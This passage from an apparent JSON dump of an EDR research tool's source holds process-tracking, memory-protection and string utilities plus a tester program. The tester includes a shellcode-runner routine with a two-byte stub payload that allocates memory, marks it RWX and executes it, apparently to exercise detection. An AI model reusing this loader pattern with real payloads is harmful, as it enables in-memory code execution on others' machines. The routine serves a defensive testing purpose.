(contains_case_insensitive(process.name, \"rededr.exe\")) {\n            process.observe = FALSE;\n            continue;\n        }\n        process.ObserveIfMatchesTargets(targetProcessNames);\n    }\n}\n\n\n// Log statistics about the current cache state\nvoid ProcessResolver::LogCacheStatistics() {\n    std::lock_guard<std::mutex> lock(cache_mutex);\n    LOG_A(LOG_DEBUG, \"ProcessResolver: Total cached processes: %zu\", cache.size());\n}\n\n\n// Cleanup thread management\nvoid ProcessResolver::StartCleanupThread(std::chrono::minutes interval) {\n    if (cleanupThreadRunning.load()) {\n        return; // Already running\n    }\n    \n    cleanupInterval = interval;\n    cleanupThreadRunning = true;\n    cleanupThread = std::thread(&ProcessResolver::CleanupWorker, this);\n    LOG_A(LOG_DEBUG, \"ProcessResolver: Started cleanup thread with %d minute interval\", \n          static_cast<int>(interval.count()));\n}\n\n\nvoid ProcessResolver::StopCleanupThread() {\n    if (! cleanupThreadRunning) {\n        return;\n    }\n    cleanupThreadRunning = false;\n    if (cleanupThread.joinable()) {\n        cleanupThread.join();\n    }\n    LOG_A(LOG_INFO, \"ProcessResolver: Cleanup thread stopped\");\n}\n\n\nvoid ProcessResolver::CleanupWorker() {\n    while (cleanupThreadRunning.load()) {\n        // Sleep for the specified interval, but check every second if we should stop\n        for (int i = 0; i < cleanupInterval.count() * 60 && cleanupThreadRunning.load(); i++) {\n            std::this_thread::sleep_for(std::chrono::seconds(1));\n        }\n        \n        if (cleanupThreadRunning.load()) {\n            CleanupStaleProcesses();\n        }\n    }\n}\n\n\nvoid ProcessResolver::CleanupStaleProcesses() {\n    LOG_A(LOG_INFO, \"ProcessResolver: Starting cleanup of stale processes\");\n    \n    std::vector<DWORD> pidsToRemove;\n    size_t totalProcesses = 0;\n    \n    {\n        std::lock_guard<std::mutex> lock(cache_mutex);\n        totalProcesses = cache.size();\n        \n        for (const auto& pair : cache) {\n            DWORD pid = pair.first;\n            \n            // Check if process is still alive\n            if (!IsProcessAlive(pid)) {\n                pidsToRemove.push_back(pid);\n            }\n        }\n    }\n    \n    // Remove stale processes (outside the lock to avoid holding it too long)\n    for (DWORD pid : pidsToRemove) {\n        removeObject(pid);\n    }\n    \n    if (!pidsToRemove.empty()) {\n        LOG_A(LOG_INFO, \"ProcessResolver: Cleaned up %zu stale processes (was: %zu, now: %zu)\", \n              pidsToRemove.size(), totalProcesses, GetCacheCount());\n    } else {\n        LOG_A(LOG_DEBUG, \"ProcessResolver: No stale processes found during cleanup\");\n    }\n}\n\n\nbool ProcessResolver::IsProcessAlive(DWORD pid) {\n    // Skip system idle process (PID 0)\n    if (pid == 0) {\n        return true;\n    }\n    \n    HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);\n    if (hProcess == NULL) {\n        return false; // Process no longer exists\n    }\n    \n    DWORD exitCode;\n    bool isAlive = true;\n    if (GetExitCodeProcess(hProcess, &exitCode)) {\n        isAlive = (exitCode == STILL_ACTIVE);\n    }\n    \n    CloseHandle(hProcess);\n    return isAlive;\n}\n\n"
  },
  {
    "path": "RedEdrShared/process_resolver.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <unordered_map>\n#include <thread>\n#include <atomic>\n#include <chrono>\n\n#include \"myprocess.h\"\n\n\nclass ProcessResolver {\npublic:\n    ProcessResolver();\n    ~ProcessResolver();\n    \n    void addObject(DWORD id, const Process& obj);\n    BOOL containsObject(DWORD pid);\n    Process* getObject(DWORD id);\n    void removeObject(DWORD id);\n\n    void ResetData();\n    BOOL PopulateAllProcesses();\n    void LogCacheStatistics();\n    //void RefreshCache();\n    void RefreshTargetMatching();\n\n    void SetTargetNames(const std::vector<std::string>& names);\n    size_t GetCacheCount();\n    \n    // Cleanup thread management\n    void StartCleanupThread(std::chrono::minutes interval);\n    void StopCleanupThread();\n\nprivate:\n\tstd::vector<std::string> targetProcessNames = {};\n    std::unordered_map<DWORD, Process> cache;\n    \n    // Cleanup thread members\n    std::atomic<bool> cleanupThreadRunning{false};\n    std::thread cleanupThread;\n    std::chrono::minutes cleanupInterval{1};\n    \n    // Cleanup Helper methods\n    void CleanupWorker();\n    void CleanupStaleProcesses();\n    bool IsProcessAlive(DWORD pid);\n};\n\n// Declare a global instance\nextern ProcessResolver g_ProcessResolver;\n"
  },
  {
    "path": "RedEdrShared/ranges.cpp",
    "content": "\n#include \"ranges.h\"\n"
  },
  {
    "path": "RedEdrShared/ranges.h",
    "content": "#pragma once\n\n#include <Windows.h>\n#include <iostream>\n#include <algorithm>\n#include <vector>\n#include <utility>\n\n\nclass Range {\npublic:\n    Range(uint64_t start, uint64_t end, void*data) : start_(start), end_(end), data_(data) {\n        if (start_ > end_) std::swap(start_, end_);\n    }\n\n    bool contains(uint64_t value) const {\n        return value >= start_ && value < end_;\n    }\n\n    bool overlaps(const Range& other) const {\n        return start_ < other.end_ && end_ > other.start_;\n    }\n\n    Range intersect(const Range& other) const {\n        if (!overlaps(other)) return { 0, 0, nullptr };\n        return { (std::max)(start_, other.start_),\n                 (std::min)(end_, other.end_), nullptr };\n    }\n\n    Range merge(const Range& other) const {\n        if (!overlaps(other) && !is_adjacent(other)) return *this;  // Non-overlapping\n        //return { std::min(start_, other.start_), std::max(end_, other.end_), NULL };\n    }\n\n    /*\n    void print() const {\n        //std::cout << \"[\" << start_ << \", \" << end_ << \")\";\n        LOG_A(LOG_INFO, \"  Start: %d  End: %d\",\n            start_, end_);\n    }\n    */\n\n    uint64_t start_;\n    uint64_t end_;\n    void* data_;\n\n    bool is_adjacent(const Range& other) const {\n        return end_ == other.start_ || start_ == other.end_;\n    }\n};\n\n\nclass RangeSet {\npublic:\n    void add(const Range& range) {\n        ranges_.push_back(range);\n        //merge_overlapping();\n    }\n\n    BOOL contains(uint64_t value) const {\n        for (const auto& range : ranges_) {\n            if (range.contains(value)) {\n                return TRUE;\n            }\n        }\n        return FALSE;\n    }\n\n    const Range* get(uint64_t value) const {\n        for (const auto& range : ranges_) {\n            if (range.contains(value)) {\n                return &range;\n            }\n        }\n        return NULL;\n    }\n\n    RangeSet intersect(const RangeSet& other) const {\n        RangeSet result;\n        for (const auto& range1 : ranges_) {\n            for (const auto& range2 : other.ranges_) {\n                if (range1.overlaps(range2)) {\n                    result.add(range1.intersect(range2));\n                }\n            }\n        }\n        return result;\n    }\n\n    /*\n    void print() const {\n        for (const auto& range : ranges_) {\n            range.print();\n        }\n    }\n    */\n\n    \n    void ResetData() {\n\t\tranges_.clear();\n    }\n\n    std::vector<Range> ranges_;\n\nprivate:\n\n    void merge_overlapping() {\n        if (ranges_.empty()) return;\n\n        std::sort(ranges_.begin(), ranges_.end(), [](const Range& a, const Range& b) {\n            return a.start_ < b.start_;\n            });\n\n        std::vector<Range> merged;\n        merged.push_back(ranges_[0]);\n\n        for (size_t i = 1; i < ranges_.size(); ++i) {\n            if (merged.back().overlaps(ranges_[i]) || merged.back().is_adjacent(ranges_[i])) {\n                merged.back() = merged.back().merge(ranges_[i]);\n            }\n            else {\n                merged.push_back(ranges_[i]);\n            }\n        }\n\n        ranges_ = std::move(merged);\n    }\n};\n\n\n"
  },
  {
    "path": "RedEdrShared/utils.cpp",
    "content": "#include <vector>\n#include <algorithm>\n#include <locale>\n#include <sstream>\n#include <iostream>\n#include <fstream>\n#include <ctime>\n#include <iomanip>\n#include <string>\n\n#include \"utils.h\"\n#include \"../Shared/common.h\"\n\n\nvoid PrintWcharBufferAsHex(const wchar_t* buffer, size_t bufferSize) {\n    // Cast wchar_t buffer to a byte array\n    const unsigned char* byteBuffer = reinterpret_cast<const unsigned char*>(buffer);\n\n    for (size_t i = 0; i < bufferSize; ++i) {\n        printf(\"%02X \", byteBuffer[i]);\n\n        // Print a newline every 16 bytes for readability\n        if ((i + 1) % 16 == 0) {\n            printf(\"\\n\");\n        }\n    }\n    printf(\"\\n\");\n}\n\n\nwchar_t* wstring2wcharAlloc(const std::wstring& str) {\n    size_t length = str.length();\n    wchar_t* copy = new wchar_t[length + 1];\n    std::copy(str.c_str(), str.c_str() + length, copy);\n    copy[length] = L'\\0';\n    return copy;\n}\n\nuint64_t pointer_to_uint64(PVOID ptr) {\n    return static_cast<uint64_t>(reinterpret_cast<uintptr_t>(ptr));\n}\n\nPVOID uint64_to_pointer(uint64_t i) {\n    PVOID ptr = reinterpret_cast<PVOID>(static_cast<uintptr_t>(i));\n\treturn ptr;\n}\n\nstd::string wchar2string(const wchar_t* wideString) {\n    if (!wideString) {\n        return \"\";\n    }\n    int sizeNeeded = WideCharToMultiByte(CP_UTF8, 0, wideString, -1, nullptr, 0, nullptr, nullptr);\n    if (sizeNeeded <= 0) {\n        return \"\";\n    }\n    std::string ret(sizeNeeded - 1, 0);\n    WideCharToMultiByte(CP_UTF8, 0, wideString, -1, &ret[0], sizeNeeded, nullptr, nullptr);\n    return ret;\n}\n\n// FIXME copy from dll\nuint64_t get_time() {\n    FILETIME fileTime;\n    ULARGE_INTEGER largeInt;\n\n    // Get the current system time as FILETIME\n    GetSystemTimeAsFileTime(&fileTime);\n\n    // Convert FILETIME to ULARGE_INTEGER\n    largeInt.LowPart = fileTime.dwLowDateTime;\n    largeInt.HighPart = fileTime.dwHighDateTime;\n\n    // Return the time as a 64-bit integer\n    return largeInt.QuadPart;\n}\n\n\nstd::wstring to_lowercase(const std::wstring& str) {\n    std::wstring lower_str = str;\n    std::transform(lower_str.begin(), lower_str.end(), lower_str.begin(), ::towlower);\n    return lower_str;\n}\n\nstd::string to_lowercase2(const std::string& str) {\n    std::string lower_str = str;\n    std::transform(lower_str.begin(), lower_str.end(), lower_str.begin(),\n                   [](unsigned char c){ return std::tolower(c); });\n    return lower_str;\n}\n\n\nvoid remove_all_occurrences_case_insensitive(std::string& str, const std::string& to_remove) {\n    std::string lower_str = to_lowercase2(str);\n    std::string lower_to_remove = to_lowercase2(to_remove);\n\n    size_t pos;\n    while ((pos = lower_str.find(lower_to_remove)) != std::wstring::npos) {\n        str.erase(pos, to_remove.length());  // Erase from the original string\n        lower_str.erase(pos, lower_to_remove.length());  // Keep erasing from the lowercase copy\n    }\n}\n\n\nstd::wstring ReplaceAll(std::wstring str, const std::wstring& from, const std::wstring& to) {\n    size_t start_pos = 0;\n    while ((start_pos = str.find(from, start_pos)) != std::wstring::npos) {\n        str.replace(start_pos, from.length(), to);\n        start_pos += to.length(); // Handles case where 'to' is a substring of 'from'\n    }\n    return str;\n}\n\n\nbool contains_case_insensitive(const std::string& haystack, const std::string& needle) {\n    std::string haystack_lower = to_lowercase2(haystack);\n    std::string needle_lower = to_lowercase2(needle);\n    return haystack_lower.find(needle_lower) != std::string::npos;\n}\n\n\nbool ends_with_case_insensitive(const std::string& str, const std::string& suffix) {\n    if (suffix.size() > str.size()) {\n        return false;\n    }\n    std::string str_lower = to_lowercase2(str);\n    std::string suffix_lower = to_lowercase2(suffix);\n    return str_lower.compare(str_lower.size() - suffix_lower.size(), suffix_lower.size(), suffix_lower) == 0;\n}\n\n\n// Dear mother of god whats up with all these goddamn string types\nwchar_t* string2wcharAlloc(const std::string& str) {\n    if (str.empty()) {\n        wchar_t* wideString = new wchar_t[1];\n        wideString[0] = L'\\0';\n        return wideString;\n    }\n    int sizeNeeded = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, nullptr, 0);\n    if (sizeNeeded <= 0) {\n        return nullptr;\n    }\n    wchar_t* wideString = new wchar_t[sizeNeeded];\n    MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, wideString, sizeNeeded);\n    return wideString;\n}\n\n\nstd::string wstring2string(std::wstring& wide_string) {\n    if (wide_string.empty()) {\n        return \"\";\n    }\n\n    // Determine the size needed for the UTF-8 buffer\n    int size_needed = WideCharToMultiByte(CP_UTF8, 0, wide_string.c_str(), -1, nullptr, 0, nullptr, nullptr);\n    if (size_needed <= 0) {\n        throw std::runtime_error(\"Failed to calculate size for UTF-8 string.\");\n    }\n\n    // Allocate the buffer and perform the conversion\n    std::string utf8_string(size_needed - 1, '\\0'); // Exclude the null terminator\n    WideCharToMultiByte(CP_UTF8, 0, wide_string.c_str(), -1, &utf8_string[0], size_needed, nullptr, nullptr);\n\n    return utf8_string;\n}\n\n\n/*\n    std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n    return conv.to_bytes(output.str());\n*/\n\n\nstd::string read_file(const std::string& path) {\n    std::ifstream file(path);\n    if (!file.is_open()) {\n        std::cerr << \"Could not open file: \" << path << std::endl;\n        return \"\";\n    }\n    std::stringstream buffer;\n    buffer << file.rdbuf(); // Read the file into the stringstream\n    return buffer.str();\n}\n\n\nvoid write_file(std::string path, std::string data) {\n\tstd::ofstream file(path);\n    if (!file.is_open()) {\n        std::cerr << \"Could not open file: \" << path << std::endl;\n        return;\n    }\n\tfile << data;\n\tfile.close();\n}\n\n\nstd::string get_time_for_file() {\n    std::time_t now = std::time(nullptr);\n    std::tm tm = {};\n    if (localtime_s(&tm, &now) != 0) {\n        throw std::runtime_error(\"Failed to get local time\");\n    }\n    std::ostringstream oss;\n    oss << std::put_time(&tm, \"%Y-%m-%d-%H-%M-%S\");\n    return oss.str();\n}\n\n\nchar* getMemoryRegionProtect(DWORD protect) {\n    const char* memoryProtect;\n    switch (protect) {\n\tcase PAGE_EXECUTE:\n\t\tmemoryProtect = \"--X\";\n\t\tbreak;\n\tcase PAGE_EXECUTE_READ:\n\t\tmemoryProtect = \"R-X\";\n\t\tbreak;\n\tcase PAGE_EXECUTE_READWRITE:\n\t\tmemoryProtect = \"RWX\";\n\t\tbreak;\n\tcase PAGE_EXECUTE_WRITECOPY:\n\t\tmemoryProtect = \"EXECUTE_WRITECOPY\";\n\t\tbreak;\n\tcase PAGE_NOACCESS:\n\t\tmemoryProtect = \"NOACCESS\";\n\t\tbreak;\n\tcase PAGE_READONLY:\n\t\tmemoryProtect = \"R--\";\n\t\tbreak;\n\tcase PAGE_READWRITE:\n\t\tmemoryProtect = \"RW-\";\n\t\tbreak;\n\tcase PAGE_WRITECOPY:\n\t\tmemoryProtect = \"WRITECOPY\";\n\t\tbreak;\n    case PAGE_GUARD:\n        memoryProtect = \"GUARD\";\n\t\tbreak;\n    case PAGE_NOCACHE:\n\t\tmemoryProtect = \"NOCACHE\";\n        break;\n\tcase PAGE_WRITECOMBINE:\n        memoryProtect = \"WRITECOMBINE\";\n        break;\n\tdefault:\n\t\tmemoryProtect = \"Unknown\";\n\t\tbreak;\n\t}\n\treturn (char*) memoryProtect;\n}\n\n\nchar* getMemoryRegionType(DWORD type) {\n    const char* memoryType;\n    switch (type) {\n    case MEM_IMAGE:\n        memoryType = \"IMAGE\";\n        break;\n    case MEM_MAPPED:\n        memoryType = \"MAPPED\";\n        break;\n    case MEM_PRIVATE:\n        memoryType = \"PRIVATE\";\n        break;\n    default:\n        memoryType = \"Unknown\";\n        break;\n    }\n    return (char*)memoryType;\n}\n\n\n// For Section permissions (not page permissions)\nstd::string GetSectionPermissions(DWORD characteristics) {\n    std::string permissions = \"---\";\n\n    // Check for readable flag\n    if (characteristics & IMAGE_SCN_MEM_READ) {\n        permissions[0] = 'R';\n    }\n\n    // Check for writable flag\n    if (characteristics & IMAGE_SCN_MEM_WRITE) {\n        permissions[1] = 'W';\n    }\n\n    // Check for executable flag\n    if (characteristics & IMAGE_SCN_MEM_EXECUTE) {\n        permissions[2] = 'X';\n    }\n\n    return permissions;\n}\n\n/*\nstd::string GetSectionPermissions(DWORD characteristics) {\n    std::string permissions;\n\n    // Mask upper bits\n    //characteristics = characteristics & 0x0000FFFF;\n    //characteristics = characteristics & 0xF00000FF; // Only include relevant flags\n\n    switch (characteristics) {\n    case PAGE_EXECUTE:\n        permissions = \"--X\";\n        break;\n    case PAGE_EXECUTE_READ:\n        permissions = \"R-X\";\n        break;\n    case PAGE_EXECUTE_READWRITE:\n        permissions = \"RWX\";\n        break;\n    case PAGE_EXECUTE_WRITECOPY:\n        permissions = \"EXECUTE_WRITECOPY\";\n        break;\n    case PAGE_NOACCESS:\n        permissions = \"NOACCESS\";\n        break;\n    case PAGE_READONLY:\n        permissions =\"R--\";\n        break;\n    case PAGE_READWRITE:\n        permissions =\"RW-\";\n        break;\n    case PAGE_WRITECOPY:\n        permissions = \"WRITECOPY\";\n        break;\n    case PAGE_GUARD:\n        permissions = \"GUARD\";\n        break;\n    case PAGE_NOCACHE:\n        permissions = \"NOCACHE\";\n        break;\n    case PAGE_WRITECOMBINE:\n        permissions = \"WRITECOMBINE\";\n        break;\n    default:\n        permissions = \"Unknown\";\n        break;\n    }\n    return permissions;\n}\n*/\n\n\nchar* getMemoryRegionState(DWORD type) {\n    const char* memoryType;\n    switch (type) {\n    case MEM_FREE:\n        memoryType = \"FREE\";\n        break;\n    case MEM_RESERVE:\n        memoryType = \"RESERVE\";\n        break;\n    case MEM_COMMIT:\n        memoryType = \"COMMIT\";\n        break;\n    default:\n        memoryType = \"Unknown\";\n        break;\n    }\n    return (char*) memoryType;\n}\n\n\nwchar_t* GetMemoryPermissions_Unused(wchar_t* buf, DWORD protection) {\n    //char permissions[4] = \"---\"; // Initialize as \"---\"\n    wcscpy_s(buf, 16, L\"---\");\n\n    if (protection & (PAGE_READONLY | PAGE_READWRITE | PAGE_WRITECOPY | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)) {\n        buf[0] = L'R'; // Readable\n    }\n    if (protection & (PAGE_READWRITE | PAGE_WRITECOPY | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)) {\n        buf[1] = L'W'; // Writable\n    }\n    if (protection & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)) {\n        buf[2] = L'X'; // Executable\n    }\n    buf[3] = L'\\x00';\n\n    return buf;\n}\n\nwchar_t* JsonEscape(wchar_t* str, size_t buffer_size) {\n    if (str == NULL || buffer_size == 0) {\n        str;\n    }\n\n    size_t length = 0;\n    for (length = 0; str[length] != L'\\0'; ++length);\n\n    for (size_t i = 0; i < length; ++i) {\n        if (str[i] == L'\\\\' || str[i] == L'\"') {\n            // Check if there's enough space to shift and insert escape character\n            if (length + 1 >= buffer_size) {\n                return str; // Stop processing to prevent overflow\n            }\n\n            // Shift the remainder of the string one position to the right\n            for (size_t j = length + 1; j > i; --j) {\n                str[j] = str[j - 1];\n            }\n\n            // Insert escape character\n            str[i] = L'\\\\';\n            ++i; // Skip over the character we just escaped\n            ++length;\n        }\n    }\n    return str;\n}\n\n\nDWORD StartProcessInBackground(LPCWSTR exePath, LPCWSTR commandLine) {\n    STARTUPINFO si = { 0 };\n    si.cb = sizeof(STARTUPINFO);\n    si.dwFlags = STARTF_USESHOWWINDOW;\n    si.wShowWindow = SW_HIDE; // Start the process in the background\n\n    PROCESS_INFORMATION pi = { 0 };\n\n    // Combine exePath and commandLine into a single buffer\n    std::wstring fullCommand = std::wstring(exePath) + L\" \" + std::wstring(commandLine);\n    std::vector<wchar_t> commandBuffer(fullCommand.begin(), fullCommand.end());\n    commandBuffer.push_back(0); // Null-terminate the buffer\n\n    // Create the process\n    if (CreateProcess(\n        nullptr,                 // Application name (null to use command line)\n        commandBuffer.data(),    // Command line\n        nullptr,                 // Process security attributes\n        nullptr,                 // Thread security attributes\n        FALSE,                   // Inherit handles\n        CREATE_NO_WINDOW,        // Creation flags\n        nullptr,                 // Use parent's environment block\n        nullptr,                 // Use parent's current directory\n        &si,                     // Pointer to STARTUPINFO\n        &pi                      // Pointer to PROCESS_INFORMATION\n    )) {\n        DWORD pid = pi.dwProcessId; // Retrieve the process ID\n\n        // Close handles to avoid resource leaks\n        CloseHandle(pi.hProcess);\n        CloseHandle(pi.hThread);\n\n        return pid;\n    }\n    else {\n        // Print error and return 0 if process creation failed\n        std::wcerr << L\"Failed to start process. Error: \" << GetLastError() << std::endl;\n        //LOG_W(LOG_ERROR, L\"Failed to start process. Error: %d\", GetLastError());\n        return 0;\n    }\n}\n\n\nwchar_t* char2wcharAlloc(const char* charStr) {\n    if (!charStr) {\n        return nullptr;\n    }\n    int sizeNeeded = MultiByteToWideChar(CP_UTF8, 0, charStr, -1, nullptr, 0);\n    if (sizeNeeded <= 0) {\n        // You might want to throw an exception or handle the error in another way\n        return nullptr;\n    }\n    wchar_t* wideString = new wchar_t[sizeNeeded];\n    MultiByteToWideChar(CP_UTF8, 0, charStr, -1, wideString, sizeNeeded);\n    return wideString;\n}\n\n\nstd::wstring string2wstring(const std::string& str) {\n    if (str.empty()) {\n        return {};\n    }\n\n    int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), static_cast<int>(str.size()), nullptr, 0);\n    std::wstring result(size_needed, 0);\n    MultiByteToWideChar(CP_UTF8, 0, str.c_str(), static_cast<int>(str.size()), &result[0], size_needed);\n    return result;\n}\n\n\nbool wstring_starts_with(const std::wstring& str, const std::wstring& prefix) {\n    if (str.size() < prefix.size()) {\n        return false;\n    }\n    return str.compare(0, prefix.size(), prefix) == 0;\n}\n"
  },
  {
    "path": "RedEdrShared/utils.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <iostream>\n#include <string>\n\n\nvoid PrintWcharBufferAsHex(const wchar_t* buffer, size_t bufferSize);\n\nuint64_t pointer_to_uint64(PVOID ptr);\nPVOID uint64_to_pointer(uint64_t i);\n\nuint64_t get_time();\nstd::string read_file(const std::string& path);\nchar* getMemoryRegionProtect(DWORD protect);\nchar* getMemoryRegionType(DWORD type);\nchar* getMemoryRegionState(DWORD type);\nstd::string GetSectionPermissions(DWORD characteristics);\nDWORD StartProcessInBackground(LPCWSTR exePath, LPCWSTR commandLine);\nvoid write_file(std::string path, std::string data);\nstd::string get_time_for_file();\n\n// Fuck them strings\nwchar_t* string2wcharAlloc(const std::string& str); // 16\nwchar_t* wstring2wcharAlloc(const std::wstring& str); // 3\nwchar_t* char2wcharAlloc(const char* str); // 3 for PPL, set target\n\nstd::string wstring2string(std::wstring& wide_string); // 12\nstd::string wchar2string(const wchar_t* wstr); // 4\nstd::wstring string2wstring(const std::string& str); // 3\n\nbool contains_case_insensitive(const std::string& haystack, const std::string& needle); // 5\nbool ends_with_case_insensitive(const std::string& str, const std::string& suffix); // 1\nvoid remove_all_occurrences_case_insensitive(std::string& str, const std::string& to_remove); // 3\nbool wstring_starts_with(const std::wstring& str, const std::wstring& prefix); // 3\nwchar_t* JsonEscape(wchar_t* str, size_t buffer_size); // 9\n\n"
  },
  {
    "path": "RedEdrTester/RedEdrTester.cpp",
    "content": "#include <stdio.h>\n#include <windows.h>\n#include <cwchar>\n#include <cstdlib>\n#include <string>\n#include <sstream>\n#include <map>\n#include <vector>\n#include <wchar.h>\n#include <stdio.h>\n#include <dbghelp.h>\n#include <tlhelp32.h>\n#include <iostream>\n\n#include \"../Shared/common.h\"\n\n// Shared\n#include \"piping.h\"\n#include \"utils.h\"\n#include \"json.hpp\"\n#include \"process_query.h\"\n\n// Stuff we test\n#include \"../RedEdr/config.h\"\n#include \"../RedEdrShared/process_resolver.h\"\n#include \"../RedEdr/event_processor.h\"\n#include \"../RedEdrShared/process_mem_static.h\"\n#include \"../RedEdr/dllinjector.h\"\n#include \"../RedEdr/webserver.h\"\n#include \"../RedEdr/kernelinterface.h\"\n#include \"../RedEdr/serviceutils.h\"\n#include \"../RedEdrShared/piping.h\"\n#include \"../RedEdr/logging.h\"\n\nvoid SendToKernel(int enable, char* target) {\n\tprintf(\"Sending: %d %s\", enable, target);\n\tConfigureKernelDriver(enable);\n}\n\n\nvoid SendToKernelReader(char* data) {\n\tPipeClient pipeClient(\"KernelReaderTest\");\n\tpipeClient.Connect(KERNEL_PIPE_NAME);\n\tpipeClient.Send(data);\n\tpipeClient.Disconnect();\n}\n\n\nvoid SendToDllReader(char* data) {\n\tPipeClient pipeClient(\"DllReaderTest\");\n\tpipeClient.Connect(DLL_PIPE_NAME);\n\tpipeClient.Send(data);\n\tpipeClient.Disconnect();\n}\n\n\nvoid processinfo(char* pidStr) {\n\t//PermissionMakeMeDebug();\n\tInitProcessQuery();\n\n\tlong pid = strtol(pidStr, nullptr, 10);\n\n\tg_Config.debug = 1;\n\tg_Config.hide_full_output = 0;\n\tg_ProcessResolver.SetTargetNames({ \"otepad\", });\n\tProcess* process = g_ProcessResolver.getObject(pid);  // use the real resolver\n\t\n\t// PEB\n\tProcessPebInfoRet processPebInfoRet = ProcessPebInfo(process->GetHandle());\n\tprintf(\"PEB:\\n\");\n\tprintf(\"  Commandline: %s\\n\", processPebInfoRet.commandline.c_str());\n\n\t// DLLs\n\tstd::vector<ProcessLoadedDll> processLoadedDlls = ProcessEnumerateModules(process->GetHandle());\n\tprintf(\"\\nLoaded DLLs (%llu):\\n\", processLoadedDlls.size());\n\tfor (auto loadedDll : processLoadedDlls) {\n\t\tprintf(\"0x%llx %lu %s\\n\", \n\t\t\tloadedDll.dll_base,\n\t\t\tloadedDll.size,\n\t\t\tloadedDll.name.c_str());\n\t}\n\n\t// DLL sections\n\tprintf(\"\\nLoaded DLL regions:\\n\");\n\tfor (auto processLoadedDll : processLoadedDlls) {\n\t\tstd::vector<ModuleSection> moduleSections = EnumerateModuleSections(\n\t\t\tprocess->GetHandle(), uint64_to_pointer(processLoadedDll.dll_base));\n\t\tfor (auto moduleSection : moduleSections) {\n\t\t\tprintf(\"0x%llx %lu %s %s\\n\",\n\t\t\t\tmoduleSection.addr,\n\t\t\t\tmoduleSection.size,\n\t\t\t\tmoduleSection.name.c_str(),\n\t\t\t\tmoduleSection.protection.c_str());\n\t\t}\n\t}\n\n\tprocess->CloseTarget();\n}\n\n\nvoid DoStuff() {\n\tconstexpr unsigned char shellcode[] =\n\t\t\"\\xfc\\x48\";\n\tPBYTE       payload = (PBYTE)shellcode;\n\tSIZE_T      payloadSize = sizeof(shellcode);\n\n\t// RW\n\tPVOID shellcodeAddr = VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n\tif (shellcodeAddr == NULL) {\n\t\tprintf(\"VirtualAlloc failed\\n\");\n\t\treturn;\n\t}\n\n\t// COPY\n\tmemcpy(shellcodeAddr, payload, payloadSize);\n\n\t// RW->RWX\n\tDWORD dwOldProtection = NULL;\n\tif (!VirtualProtect(shellcodeAddr, payloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {\n\t\tprintf(\"VirtualProtect Failed With Error: %d \\n\", GetLastError());\n\t\treturn;\n\t}\n\n\t// THREAD\n\tDWORD threadId;\n\tHANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, shellcodeAddr, 0, &threadId);\n\tif (hThread == NULL) {\n\t\tprintf(\"CreateThread failed\\n\");\n\t\treturn;\n\t}\n\n\t// WAIT\n\tWaitForSingleObject(hThread, INFINITE);\n\tCloseHandle(hThread);\n\treturn;\n}\n\n\nvoid AnalyzeFile(char *fname) {\n\tg_Config.hide_full_output = 1;\n\tg_Config.debug = 1;\n\tstd::string filename = std::string(fname);\n\tLOG_A(LOG_INFO, \"Analyzer: Reading %s\", filename.c_str());\n\tstd::string json_file_content = read_file(filename);\n\tif (json_file_content.empty()) {\n\t\tLOG_A(LOG_ERROR, \"Could not read file\");\n\t\treturn; // Exit if the file could not be read\n\t}\n\n\tnlohmann::json json_data;\n\ttry {\n\t\tjson_data = nlohmann::json::parse(json_file_content);\n\t}\n\tcatch (const std::exception& e) {\n\t\tstd::cerr << \"Failed to parse JSON: \" << e.what() << std::endl;\n\t\treturn;\n\t}\n\tif (!json_data.is_array()) {\n\t\tstd::cerr << \"JSON data is not an array.\" << std::endl;\n\t\treturn;\n\t}\n}\n\n\n\n\n//#include \"krabs.hpp\"\n\nvoid test() {\n\n}\n\nint main(int argc, char* argv[]) {\n\tif (argc < 1) {\n\t\tLOG_W(LOG_ERROR, L\"Usage: %s <what>\", argv[0]);\n\t\treturn 1;\n\t}\n\n\tif (strcmp(argv[1], \"send2kernel\") == 0) {\n\t\t// Example: 1 notepad.exe\n\t\tlong enable = strtol(argv[2], nullptr, 10);\n\t\tSendToKernel(enable, argv[3]);\n\t}\n\telse if (strcmp(argv[1], \"send2kernelreader\") == 0) {\n\t\t// Example: \n\t\tSendToKernelReader(argv[2]);\n\t}\n\telse if (strcmp(argv[1], \"send2dllreader\") == 0) {\n\t\t// Example: \n\t\tSendToDllReader(argv[2]);\n\t}\n\telse if (strcmp(argv[1], \"processinfo\") == 0) {\n\t\tprocessinfo(argv[2]);\n\t}\n\telse if (strcmp(argv[1], \"analyzer\") == 0) {\n\t\tif (argc == 3) {\n\t\t\tAnalyzeFile(argv[2]);\n\t\t}\n\t\telse {\n\t\t\tAnalyzeFile((char *) \"C:\\\\RedEdr\\\\Data\\\\notepad.events.txt\");\n\t\t}\n\t}\n\telse if (strcmp(argv[1], \"dostuff\") == 0) {\n\t\tSleep(500); // give time to do dll injection\n\t\tDoStuff();\n\t}\n\telse if (strcmp(argv[1], \"test\") == 0) {\n\t\ttest();\n\t}\n\telse {\n\t\tLOG_W(LOG_ERROR, L\"Unknown command: %s\", argv[1]);\n\t}\n}\n"
  },
  {
    "path": "RedEdrTester/RedEdrTester.vcxproj",
